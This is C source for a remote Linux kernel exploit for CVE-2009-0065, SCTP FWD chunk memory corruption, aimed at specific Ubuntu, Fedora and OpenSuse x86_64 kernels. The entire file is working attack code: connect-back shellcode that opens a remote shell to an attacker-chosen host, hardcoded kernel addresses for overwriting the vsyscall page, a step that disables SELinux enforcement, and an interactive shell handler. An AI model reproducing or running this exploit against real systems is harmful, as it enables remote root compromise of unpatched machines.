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/* CVE-2009-0065 SCTP FWD Chunk Memory Corruption * Linux Kernel 2.6.x SCTP FWD Memory COrruption Remote Exploit * * coded by: sgrakkyu <at> antifork.org * http://kernelbof.blogspot.com * * * NOTE: you need at least one sctp application bound on the target box * * Supported target: * Ubuntu 7.04 x86_64 (2.6.20_15-17-generic / 2.6.20_17-server) * Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server) * Ubuntu 8.10 x86_64 (2.6.27_7-10 geenric/server) * Fedora Core 10 x86_64 (default installed kernel) * OpenSuse 11.1 x86_64 (default installed kernel) */
#define _GNU_SOURCE
#include <signal.h> #include <sched.h> #include <stdio.h> #include <string.h> #include <arpa/inet.h> #include <unistd.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/sctp.h> #include <stdlib.h> #include <sys/wait.h> #include <sys/time.h> #include <sys/select.h> #include <stdint.h>
#define __OFFSET_PORT_64 62 // 92 #define __OFFSET_HOST_64 64 // 94
//#define __TARGET_SPORT 20000
#ifndef __u8 #define __u8 uint8_t #endif
#ifndef __u16 #define __u16 uint16_t #endif
#ifndef __u32 #define __u32 uint32_t #endif
/* start crc routines: ripped from wireshark sources */ #define SP_LEN 2 #define DP_LEN 2 #define VTAG_LEN 4 #define CHK_LEN 4 #define HEADER_LEN (SP_LEN + DP_LEN + VTAG_LEN + CHK_LEN)
#define CRC32C(c,d) (c=(c>>8)^crc_c[(c^(d))&0xFF]) static int32_t crc_c[256] = { 0x00000000L, 0xF26B8303L, 0xE13B70F7L, 0x1350F3F4L, 0xC79A971FL, 0x35F1141CL, 0x26A1E7E8L, 0xD4CA64EBL, 0x8AD958CFL, 0x78B2DBCCL, 0x6BE22838L, 0x9989AB3BL, 0x4D43CFD0L, 0xBF284CD3L, 0xAC78BF27L, 0x5E133C24L, 0x105EC76FL, 0xE235446CL, 0xF165B798L, 0x030E349BL, 0xD7C45070L, 0x25AFD373L, 0x36FF2087L, 0xC494A384L, 0x9A879FA0L, 0x68EC1CA3L, 0x7BBCEF57L, 0x89D76C54L, 0x5D1D08BFL, 0xAF768BBCL, 0xBC267848L, 0x4E4DFB4BL, 0x20BD8EDEL, 0xD2D60DDDL, 0xC186FE29L, 0x33ED7D2AL, 0xE72719C1L, 0x154C9AC2L, 0x061C6936L, 0xF477EA35L, 0xAA64D611L, 0x580F5512L, 0x4B5FA6E6L, 0xB93425E5L, 0x6DFE410EL, 0x9F95C20DL, 0x8CC531F9L, 0x7EAEB2FAL, 0x30E349B1L, 0xC288CAB2L, 0xD1D83946L, 0x23B3BA45L, 0xF779DEAEL, 0x05125DADL, 0x1642AE59L, 0xE4292D5AL, 0xBA3A117EL, 0x4851927DL, 0x5B016189L, 0xA96AE28AL, 0x7DA08661L, 0x8FCB0562L, 0x9C9BF696L, 0x6EF07595L, 0x417B1DBCL, 0xB3109EBFL, 0xA0406D4BL, 0x522BEE48L, 0x86E18AA3L, 0x748A09A0L, 0x67DAFA54L, 0x95B17957L, 0xCBA24573L, 0x39C9C670L, 0x2A993584L, 0xD8F2B687L, 0x0C38D26CL, 0xFE53516FL, 0xED03A29BL, 0x1F682198L, 0x5125DAD3L, 0xA34E59D0L, 0xB01EAA24L, 0x42752927L, 0x96BF4DCCL, 0x64D4CECFL, 0x77843D3BL, 0x85EFBE38L, 0xDBFC821CL, 0x2997011FL, 0x3AC7F2EBL, 0xC8AC71E8L, 0x1C661503L, 0xEE0D9600L, 0xFD5D65F4L, 0x0F36E6F7L, 0x61C69362L, 0x93AD1061L, 0x80FDE395L, 0x72966096L, 0xA65C047DL, 0x5437877EL, 0x4767748AL, 0xB50CF789L, 0xEB1FCBADL, 0x197448AEL, 0x0A24BB5AL, 0xF84F3859L, 0x2C855CB2L, 0xDEEEDFB1L, 0xCDBE2C45L, 0x3FD5AF46L, 0x7198540DL, 0x83F3D70EL, 0x90A324FAL, 0x62C8A7F9L, 0xB602C312L, 0x44694011L, 0x5739B3E5L, 0xA55230E6L, 0xFB410CC2L, 0x092A8FC1L, 0x1A7A7C35L, 0xE811FF36L, 0x3CDB9BDDL, 0xCEB018DEL, 0xDDE0EB2AL, 0x2F8B6829L, 0x82F63B78L, 0x709DB87BL, 0x63CD4B8FL, 0x91A6C88CL, 0x456CAC67L, 0xB7072F64L, 0xA457DC90L, 0x563C5F93L, 0x082F63B7L, 0xFA44E0B4L, 0xE9141340L, 0x1B7F9043L, 0xCFB5F4A8L, 0x3DDE77ABL, 0x2E8E845FL, 0xDCE5075CL, 0x92A8FC17L, 0x60C37F14L, 0x73938CE0L, 0x81F80FE3L, 0x55326B08L, 0xA759E80BL, 0xB4091BFFL, 0x466298FCL, 0x1871A4D8L, 0xEA1A27DBL, 0xF94AD42FL, 0x0B21572CL, 0xDFEB33C7L, 0x2D80B0C4L, 0x3ED04330L, 0xCCBBC033L, 0xA24BB5A6L, 0x502036A5L, 0x4370C551L, 0xB11B4652L, 0x65D122B9L, 0x97BAA1BAL, 0x84EA524EL, 0x7681D14DL, 0x2892ED69L, 0xDAF96E6AL, 0xC9A99D9EL, 0x3BC21E9DL, 0xEF087A76L, 0x1D63F975L, 0x0E330A81L, 0xFC588982L, 0xB21572C9L, 0x407EF1CAL, 0x532E023EL, 0xA145813DL, 0x758FE5D6L, 0x87E466D5L, 0x94B49521L, 0x66DF1622L, 0x38CC2A06L, 0xCAA7A905L, 0xD9F75AF1L, 0x2B9CD9F2L, 0xFF56BD19L, 0x0D3D3E1AL, 0x1E6DCDEEL, 0xEC064EEDL, 0xC38D26C4L, 0x31E6A5C7L, 0x22B65633L, 0xD0DDD530L, 0x0417B1DBL, 0xF67C32D8L, 0xE52CC12CL, 0x1747422FL, 0x49547E0BL, 0xBB3FFD08L, 0xA86F0EFCL, 0x5A048DFFL, 0x8ECEE914L, 0x7CA56A17L, 0x6FF599E3L, 0x9D9E1AE0L, 0xD3D3E1ABL, 0x21B862A8L, 0x32E8915CL, 0xC083125FL, 0x144976B4L, 0xE622F5B7L, 0xF5720643L, 0x07198540L, 0x590AB964L, 0xAB613A67L, 0xB831C993L, 0x4A5A4A90L, 0x9E902E7BL, 0x6CFBAD78L, 0x7FAB5E8CL, 0x8DC0DD8FL, 0xE330A81AL, 0x115B2B19L, 0x020BD8EDL, 0xF0605BEEL, 0x24AA3F05L, 0xD6C1BC06L, 0xC5914FF2L, 0x37FACCF1L, 0x69E9F0D5L, 0x9B8273D6L, 0x88D28022L, 0x7AB90321L, 0xAE7367CAL, 0x5C18E4C9L, 0x4F48173DL, 0xBD23943EL, 0xF36E6F75L, 0x0105EC76L, 0x12551F82L, 0xE03E9C81L, 0x34F4F86AL, 0xC69F7B69L, 0xD5CF889DL, 0x27A40B9EL, 0x79B737BAL, 0x8BDCB4B9L, 0x988C474DL, 0x6AE7C44EL, 0xBE2DA0A5L, 0x4C4623A6L, 0x5F16D052L, 0xAD7D5351L, };
static __u32 sctp_crc32c(const unsigned char* buf, __u32 len) { __u32 i; __u32 crc32 = ~0U; __u32 r; unsigned char b0,b1,b2,b3;
for (i = 0; i < SP_LEN + DP_LEN + VTAG_LEN; i++) { CRC32C(crc32, buf[i]); } CRC32C(crc32, 0); CRC32C(crc32, 0); CRC32C(crc32, 0); CRC32C(crc32, 0); for (i = HEADER_LEN; i < len; i++) { CRC32C(crc32, buf[i]); } r = ~crc32;
b0 = r & 0xff; b1 = (r>>8) & 0xff; b2 = (r>>16) & 0xff; b3 = (r>>24) & 0xff; crc32 = ((b0 << 24) | (b1 << 16) | (b2 << 8) | b3); return ( crc32 ); } /* end crc routines */
static char generic_x86_64_shellcode[] = // prolog "\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb" "\x48\x39\xd8\x75\x0f\x48\x31\xc0\xb0\x02\xcd\x80" "\x48\x31\xdb\x48\x39\xc3\x74\x09\x5b\x48\x31\xc0" "\xb0\x60\x0f\x05\xc3" // connect back "\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58" "\x0f\x05\x48\x97\x50\x48\xb9\x02\x00\x0d\x05\x7f" "\x00\x00\x01\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a" "\x58\x0f\x05\x48\x31\xdb\x48\x39\xc3\x74\x07\x48" "\x31\xc0\xb0\xe7\x0f\x05\x90" "\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75" "\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48" "\xf7\xd3\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48" "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0" "\xb0\xe7\x0f\x05" ;
static const char __zero[4] = {0x00, 0x00, 0x00, 0x00}; //static char __force_crash[] = "\x41\x41\x41\x41\x41\x41\x41\x41";
static char generic_x86_64_patchjump[] = "\x48\x31\xc0\xb0\x60\x0f\x05\xc3"; static char generic_x86_64_jump[] = "\xe9\x2b\x09\x00\x00\x90";
/* ubuntu 7.04 */ static char ubuntu64_2_6_20_15to17_generic_x86_64_vsys_shadow[] = "\x00\x40\x56\x80\xFF\xFF\xFF\xFF"; static char ubuntu64_2_6_20_17_server_x86_64_vsys_shadow[] = "\x00\x90\x5B\x80\xFF\xFF\xFF\xFF";
/* ubuntu 8.04 */ static char ubuntu64_2_6_24_23_last_server_x86_64_vsys_shadow[] = "\x00\x50\x62\x80\xFF\xFF\xFF\xFF"; static char ubuntu64_2_6_24_19to22_server_x86_64_vsys_shadow[] = "\x00\x40\x62\x80\xFF\xFF\xFF\xFF"; static char ubuntu64_2_6_24_16to18_server_x86_64_vsys_shadow[] = "\x00\x30\x62\x80\xFF\xFF\xFF\xFF";
static char ubuntu64_2_6_24_18to21_generic_x86_64_vsys_shadow[] = "\x00\x40\x5d\x80\xFF\xFF\xFF\xFF";
/* ubuntu 8.10 */ static char ubuntu64_2_6_27_7_server_x86_64_vsys_shadow[] = "\x00\x30\x6f\x80\xFF\xFF\xFF\xFF"; static char ubuntu64_2_6_27_9tolast_server_x86_64_vsys_shadow[] = "\x00\x40\x6f\x80\xFF\xFF\xFF\xFF";
static char ubuntu64_2_6_27_7tolast_generic_x86_64_vsys_shadow[] = "\x00\x40\x6f\x80\xFF\xFF\xFF\xFF";
/* fedora code 10 */ static char fedora64_10_default_kernel_x86_64_vsys_shadow[] = "\x00\x10\x57\x81\xFF\xFF\xFF\xFF"; static char fedora64_10_default_kernel_x86_64_selinux[] = "\x84\xE6\x7C\x81\xFF\xFF\xFF\xFF";
/* opensuse 11.1 */ static char opensuse64_11_1_default_kernel_x86_64_vsys_shadow[]="\x00\x10\x8E\x80\xFF\xFF\xFF\xFF";
#define __msg_f(format, args...) \ do { fprintf(stdout, format, ## args); } while(0)
#define __msg(msg) \ do { fprintf(stdout, "%s", msg); } while(0)
#define __fatal(msg) \ do {fprintf(stderr, "%s", msg); exit(1);} while (0)
#define __fatal_perror(msg) \ do { perror(msg); exit(1); } while (0)
enum { SLAB_ALLOCATOR=0, SLUB_ALLOCATOR=1 };
typedef struct { const char *name; const char *info; char *scode; __u32 scodesize; __u32 portoff; __u32 hostoff; const char *vsysaddr; const char *vsysjump; __u32 vsysjumpsize;
const char *vsyspatchjump; __u32 vsyspatchjumpsize; __u32 chunksize; __u32 slubsize; __u32 ptrsize;
const char *selinux;
int allocator_type;
} kinfo;
static kinfo *k;
typedef struct { const char* target; const char* rhost; const char* lhost; __u16 rport; __u16 lport; __u16 sport; // defines associations __u16 nconn; } hinfo;
static hinfo h = { NULL, NULL, NULL, 0, 0, 0, 600 };
static kinfo kernels[] = { { "ubuntu64_faisty-2.6.20-[15-17]-generic", "(faisty: generic kernel)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, ubuntu64_2_6_20_15to17_generic_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 256, 8, NULL, SLAB_ALLOCATOR }, { "ubuntu64_faisty-2.6.20-17-server", "(faisty: server kernel - last 2.6.20-17 build)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, ubuntu64_2_6_20_17_server_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 256, 8, NULL, SLAB_ALLOCATOR }, { "ubuntu64_hardy-2.6.24-[18-21]-generic", "(kernel from 2.6.24-18 to kernel 2.6.24-21 -- generic)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, ubuntu64_2_6_24_18to21_generic_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 96, 8, NULL, SLUB_ALLOCATOR }, { "ubuntu64_hardy_2.6.24-[16-18]-server", "(kernel from 2.6.24-16 to 2.6.24-18 -- server)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, ubuntu64_2_6_24_16to18_server_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 96, 8, NULL, SLUB_ALLOCATOR }, { "ubuntu64_hardy-2.6.24-[19-22]-server", "(kernel from 2.6.24-19 to 2.6.24-22 -- server)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, ubuntu64_2_6_24_19to22_server_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 96, 8, NULL, SLUB_ALLOCATOR }, { "ubuntu64_hardy-2.6.24-23-last-server", "(last 2.6.24-23 kernel before patch -- server)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, ubuntu64_2_6_24_23_last_server_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 96, 8, NULL, SLUB_ALLOCATOR }, { "ubuntu64_intrepid-2.6.27-7-server", "(kernel 2.6.27-7 -- server)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, ubuntu64_2_6_27_7_server_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 96, 8, NULL, SLUB_ALLOCATOR }, { "ubuntu64_intrepid-2.6.27-[9-last]-server", "(kernel 2.6.27-9 to the last unpatched kernel -- server)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, ubuntu64_2_6_27_9tolast_server_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 96, 8, NULL, SLUB_ALLOCATOR }, { "ubuntu64_intrepid-2.6.27-[7-last]-generic", "(kernel 2.6.27-9 to the last unpatched kernel -- server)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, ubuntu64_2_6_27_7tolast_generic_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 96, 8, NULL, SLUB_ALLOCATOR }, { "fedora64_10-2.6.25-117", "(fedora core 10 default installed kernel)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, fedora64_10_default_kernel_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 96, 8, fedora64_10_default_kernel_x86_64_selinux, SLUB_ALLOCATOR }, { "opensuse64_11.1-2.6.27.7-9-default", "(opensuse 11.1 default installed kernel)", generic_x86_64_shellcode, sizeof(generic_x86_64_shellcode) -1, __OFFSET_PORT_64, __OFFSET_HOST_64, opensuse64_11_1_default_kernel_x86_64_vsys_shadow, generic_x86_64_jump, 6, generic_x86_64_patchjump, 8, 40, 256, 8, NULL, SLAB_ALLOCATOR } };
/* modular arithmetic shift */ #define __SHIFT_CHECK 0x7FFF static __u16 shift_0_to_7fff[3] = { 0x7FFF, 0xFFFE, 0x0000 }; static __u16 shift_8000_to_ffff[3] = { 0xFFFF, 0x7FFE, 0x8000 };
/* global streams obj */ static __u16 streams[1000][2];
/* get stream flow */ static int build_stream(const void *data, __u32 size, __u16 fc) { int chunk_num,i,j,stnum=0; __u16 *p; __u16 *shift; if(size % 2) __fatal("[!!!] build_stream: data unaligned");
memset(streams, 0x00, sizeof(streams));
chunk_num = size / 2; p = (__u16*)data; for(i=0; i<chunk_num; i++, p++, fc++) { __u16 val = *p - 1; if(val <= __SHIFT_CHECK) shift = shift_0_to_7fff; else shift = shift_8000_to_ffff;
for(j=0; j<3; j++) { streams[stnum][0] = fc; streams[stnum++][1] = shift[j]; }
streams[stnum][0] = fc; streams[stnum++][1] = val; }
return stnum ? stnum : 0; }
/* some sctp packet header structs */ struct sctp_hdr { __u16 sport; __u16 dport; __u32 vtag; __u32 checksum; char chunks[0]; }__attribute__((packed));
struct sctp_chk { __u8 type; __u8 flags; __u16 len; char data[0]; }__attribute((packed));
struct sctp_chunk_fwd { __u8 type; __u8 flags; __u16 len; __u32 new_tsn; }__attribute__((packed));
enum { SCTP_INIT_ACK = 2, SCTP_SACK = 3, SCTP_FWD = 192 };
void disable_abort() { /* lame trick to block ABORT chunks from reaching the target! * ABORT messages are generated because we receive a SACK with an out-of-bound TSN * in reply to all fake FWD sent * (when this happens local kernel kills the connection) */
system("iptables -t filter -A OUTPUT -p sctp --chunk-types any ABORT -j DROP"); }
#define FWD_MAX_SIZE 0x1000 void *make_fwd_packet(__u16 sp, __u16 dp, __u32 vtag, __u32 tsn, __u16 streams[][2], int streamlen, int *p_len) { int i; __u16 *pstream; struct sctp_hdr *hdr; struct sctp_chunk_fwd *fwd; __u8 *__buff = malloc(FWD_MAX_SIZE); memset(__buff, 0, FWD_MAX_SIZE);
hdr = (struct sctp_hdr *)__buff;
hdr->sport = htons(sp); hdr->dport = htons(dp); hdr->vtag = htonl(vtag); hdr->checksum = 0; fwd = (struct sctp_chunk_fwd *)(hdr->chunks); fwd->type = SCTP_FWD; fwd->flags = 0; fwd->len = htons(4 + 4 + (streamlen * 4)); // chunk + ctsn + streams fwd->new_tsn = htonl(tsn+1);
/* build stream */ pstream = (__u16 *)((&(fwd->new_tsn)) + 1); for(i=0; i<streamlen; i++) { *pstream++ = streams[i][0]; *pstream++ = streams[i][1]; }
*p_len = ntohs(fwd->len) + sizeof(*hdr); hdr->checksum = htonl(sctp_crc32c(__buff, (__u32)(*p_len))); return hdr; }
/* this function gets VTAG/TSN bound with this socket pair */ int raw_socket_engine(__u16 sp, __u16 sp2, __u16 dp, __u32 *tsn, __u32 *vtag, __u32 *tsn2, __u32 *vtag2) { char packet[1500]; int p_len; void *end; struct sctp_hdr *hdr; struct sctp_chk *chk; __u32 tmp; __u16 psp,pdp; fd_set r; struct timeval tv;
int raw_fd = socket(PF_INET, SOCK_RAW, IPPROTO_SCTP); if(raw_fd < 0) __fatal_perror("socket: RAW/SCTP");
FD_ZERO(&r); FD_SET(raw_fd, &r); tv.tv_usec=0; tv.tv_sec=10;
while(select(raw_fd + 1, &r, NULL,NULL,&tv) > 0) { p_len = read(raw_fd, packet, sizeof(packet)); end = packet + p_len; hdr = (struct sctp_hdr *)(packet + sizeof(struct iphdr)); if((void*)(((char *)hdr)+4) >= end) continue;
/* check for chunk */ chk = (struct sctp_chk *)(hdr->chunks); tmp = ntohl(*((__u32*)(chk->data))); psp = ntohs(hdr->sport); pdp = ntohs(hdr->dport); if(chk->type == SCTP_SACK) { if(psp == dp && pdp == sp) *tsn = tmp;
if(psp == dp && pdp == sp2) *tsn2 = tmp; } if(chk->type == SCTP_INIT_ACK) { if(psp == dp && pdp == sp) *vtag = tmp; if(psp == dp && pdp == sp2) *vtag2 = tmp; }
if(*vtag && *tsn && *vtag2 && *tsn2) break;
FD_ZERO(&r); FD_SET(raw_fd, &r); tv.tv_usec=0; tv.tv_sec=10; }
return 0; }
/* global vars */ static __u16 sport=0; static __u16 sport2=0; static __u32 vtag=0, vtag2=0; static __u32 tsn=0, tsn2=0;
static struct sockaddr_in server_sctp; int raw_sctp=-1;
#define STACK_SIZE 0x1000 char clone_stack[STACK_SIZE*2];
static void send_fwd_chunk(__u16 sp, __u16 dp, __u16 streams[][2], int streamlen, __u32 vtag, __u32 tsn) { int p_len=0, ret; void *packet = make_fwd_packet(sp, dp, vtag, tsn, streams, streamlen, &p_len); ret = sendto(raw_sctp, packet, p_len, 0, (struct sockaddr *)&server_sctp, sizeof(struct sockaddr_in)); if(ret < 0) __fatal_perror("sendto: sending FWD chunk");
free(packet); }
static int clone_thread(void *p) { raw_socket_engine(sport, sport2, h.rport, &tsn, &vtag, &tsn2, &vtag2); return 0; }
static int make_sctp_connection(__u16 sp, __u16 dp, int data) { struct sctp_initmsg msg; int ret,o=1,fd; socklen_t len_sctp=sizeof(struct sctp_initmsg); struct sockaddr_in s,c;
fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP); if(fd < 0) __fatal_perror("socket: sctp SOCK_STREAM");
ret = setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o)); if (ret < 0) __fatal_perror("setsockopt: SO_REUSEADDR");
/* NOTE: here we assume server peer allocates 10 output streams (as default) * if the applciation behaves differently you must probe and change channels size * to get the correct slab */
if(k->allocator_type == SLAB_ALLOCATOR) // if SLAB change channel size { getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp); msg.sinit_num_ostreams=50; // force 256 slab allocation msg.sinit_max_instreams=10; setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp); } else { getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp); msg.sinit_num_ostreams=10; // force 96 slab allocation msg.sinit_max_instreams=10; setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp); }
if(sp) { c.sin_family = PF_INET; c.sin_port = htons(sp); c.sin_addr.s_addr = INADDR_ANY; ret = bind(fd, (struct sockaddr *)&c, sizeof(c)); if(ret < 0) __fatal_perror("bind: sctp socket"); }
s.sin_family = PF_INET; s.sin_port = htons(dp); s.sin_addr.s_addr = inet_addr(h.rhost);
ret = connect(fd, (struct sockaddr *)&s, sizeof(s)); if(ret < 0) __fatal_perror("connect: sctp socket");
/* send one byte of data to get correctly * TSN from raw socket (from SACK replies) */ if(data) { ret = send(fd, "", 1, 0); if(ret < 0) __fatal_perror("send: sctp socket data"); } return fd; }
static void htons_streams(__u16 s[][2], int len) { int i; for(i=0; i<len; i++) { s[i][0] = htons(s[i][0]); s[i][1] = htons(s[i][1]); } }
static void usage() { fprintf(stderr, "./sctp_houdini \n\t" "-H lhost (local host address for connect back shel)\n\t" "-P lport (local port address for connect back shell)\n\t" "-h rhost (remote target host)\n\t" "-p rport (remote target port)\n\t" "-t kernel (target kernel)\n\t" "-s sport (source port defining sctp association where corruption occurs)\n\t" " (always use higher port if you run the exploit multiple times eg. 20000, 21000, etc..)\n\t" " (NEVER reuse the same or next port or vsys will be trashed and init will die soon...)\n\t" "-c conn (number of connectionis before corruption - default 600)\n" ); }
static void sctp_getopt(int argc, char *argv[]) { int ret,i;
while((ret = getopt(argc, argv, "H:P:p:h:t:c:s:")) != -1) { switch(ret) { case 'P': h.lport = atoi(optarg); break;
case 'p': h.rport = atoi(optarg); break;
case 't': h.target = optarg; break;
case 'h': h.rhost = optarg; break; case 'H': h.lhost = optarg; case 'c': h.nconn = atoi(optarg); break;
case 's': h.sport = atoi(optarg); break; } }
if(!h.lport || !h.rport || !h.rhost || !h.target || !h.lhost || !h.sport) { usage(); exit(1); }
if(h.sport < h.nconn+1) { fprintf(stderr, "Source Association Port is too low: %d\n", h.sport); usage(); exit(1); }
sport=h.sport; sport2=h.sport + 1;
for(i=0; i < sizeof(kernels)/sizeof(kinfo); i++) { if(!strcmp(h.target, kernels[i].name)) { k = &kernels[i]; break; } }
if(k==NULL) { fprintf(stderr, "Unable to find target: %s\nAvailable targets are:\n", h.target); for(i=0; i < sizeof(kernels)/sizeof(kinfo); i++) { fprintf(stderr, "- %s %s\n", kernels[i].name, kernels[i].info); } exit(1); } }
void patchjump() { int ret;
__msg("[**] Restoring vsys: Emulate gettimeofday()... \n"); ret = build_stream(k->vsyspatchjump, k->vsyspatchjumpsize, 0); if(ret < 0) __fatal("Error Building Streams...");
htons_streams(streams, ret); send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2);
}
static void multiplex(int listenfd) { int ret,new_fd; fd_set r; struct timeval t; char buffer[1500];
FD_ZERO(&r); FD_SET(listenfd, &r); t.tv_sec = 3; t.tv_usec = 0; __msg("[**] Waiting daemons executing gettimeofday().. this can take up to one minute...\n"); __msg("[**] .."); fflush(stdout);
while(select(listenfd+1, &r, NULL, NULL, &t) == 0) { printf(".."); fflush(stdout); t.tv_sec = 3; t.tv_usec = 0; FD_ZERO(&r); FD_SET(listenfd, &r); } __msg("..\n");
new_fd = accept(listenfd, NULL, 0); if(new_fd < 0) __fatal_perror("accept: listen fd");
__msg("[**] Connected!\n"); patchjump();
close(listenfd); write(new_fd, "id\n", 3);
FD_ZERO(&r); FD_SET(new_fd, &r); FD_SET(0, &r); while(select(new_fd+1, &r, NULL, NULL, NULL) > 0) { if(FD_ISSET(0, &r)) // read from stdin { ret = read(0, buffer, sizeof(buffer)); if(ret < 0) __fatal_perror("read: from stdin"); else ret = write(new_fd, buffer, ret); }
if(FD_ISSET(new_fd, &r)) { ret = read(new_fd, buffer, sizeof(buffer)); if(!ret) { __msg("Endopoint closed the connection\n"); break; } else if(ret > 0) { write(1, buffer, ret); } else __fatal_perror("read: from net"); }
FD_ZERO(&r); FD_SET(new_fd, &r); FD_SET(0, &r); } }
/* needed when exploiting old SLAB */ void swap_to_SLAB_chunk() { __u32 tmp; __u16 tmp16;
tmp = tsn; tsn = tsn2; tsn2 = tmp;
tmp = vtag; vtag = vtag2; vtag2 = tmp;
tmp16 = sport; sport = sport2; sport2 = tmp16; }
int main(int argc, char **argv) {
int ret, fd, i, listenfd,o=1; struct sockaddr_in l; __u32 lh; __u16 lp;
sctp_getopt(argc, argv);
listenfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if(setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o)) < 0) __fatal_perror("setsockopt: SO_REUSEADDR"); l.sin_family = PF_INET; l.sin_port = htons(h.lport); l.sin_addr.s_addr = inet_addr(h.lhost); if(bind(listenfd, (struct sockaddr *)&l, sizeof(l)) < 0) __fatal_perror("bind: sock"); if(listen(listenfd, 4) < 0) __fatal_perror("listen: sock");
/* set connect back params */ lh = inet_addr(h.lhost); lp = htons(h.lport); memcpy(k->scode + k->portoff, &lp, 2); memcpy(k->scode + k->hostoff, &lh, 4);
raw_sctp = socket(PF_INET, SOCK_RAW, IPPROTO_SCTP); if(raw_sctp < 0) __fatal_perror("socket: RAW/SCTP montitor socket"); server_sctp.sin_family = PF_INET; server_sctp.sin_port = htons(h.rport); server_sctp.sin_addr.s_addr = inet_addr(h.rhost);
__msg("[**] Monitoring Network for TSN/VTAG pairs.. \n"); ret = clone(clone_thread, clone_stack+STACK_SIZE-8, CLONE_VM|SIGCHLD, NULL); if(ret < 0) __fatal_perror("clone"); sleep(1);
__msg("[**] Start flushing slub cache...\n"); for(i=0; i<=h.nconn; i++) { __u16 p = sport-(h.nconn-1)+i; if(p == sport || p== sport2) fd = make_sctp_connection(p, h.rport, 1); else fd = make_sctp_connection(sport-(h.nconn-1)+i, h.rport, 0); // usleep(10); }
disable_abort(); /* wait for monitoring engine */ wait(NULL);
if(k->allocator_type == SLAB_ALLOCATOR) swap_to_SLAB_chunk(); if(vtag && tsn && vtag2 && tsn2) { __u32 acc; __msg_f("[**] Using TSN/VTAG pairs: (TSN: %x <=> VTAG: %x) / (TSN: %x <=> VTAG: %x)...\n", tsn, vtag, tsn2, vtag2); sleep(1);
if(k->selinux) { __msg("[**] Overwriting neightboard sctp map..\n"); acc = (k->slubsize - k->chunksize) / 2; ret = build_stream(k->selinux, k->ptrsize, acc); if(ret < 0) __fatal("Error Building Streams..."); htons_streams(streams, ret); send_fwd_chunk(sport, h.rport, streams, ret, vtag, tsn);
__msg("[**] Disabling Selinux Enforcing Mode..\n"); ret = build_stream(__zero, 4, 0); if(ret < 0) __fatal("Error Building Streams...");
htons_streams(streams, ret); send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2); }
__msg("[**] Overwriting neightboard sctp map ......\n"); acc = (k->slubsize - k->chunksize) / 2; ret = build_stream(k->vsysaddr, k->ptrsize, acc); if(ret < 0) __fatal("Error Building Streams...");
htons_streams(streams, ret); send_fwd_chunk(sport, h.rport, streams, ret, vtag, tsn);
__msg("[**] Overwriting vsyscall shadow map..\n"); acc = 0x930 / 2; ret = build_stream(k->scode, k->scodesize, acc); //1176 if(ret < 0) __fatal("Error Building Streams...");
htons_streams(streams, ret); send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2); __msg("[**] Hijacking vsyscall shadow map..\n"); ret = build_stream(k->vsysjump, k->vsysjumpsize, 0); if(ret < 0) __fatal("Error Building Streams...");
htons_streams(streams, ret); send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2);
sleep(1); } else __fatal("VTAG/TSN not found: network error");
multiplex(listenfd); __msg("[**] Closing Connection... \n"); return 0; }
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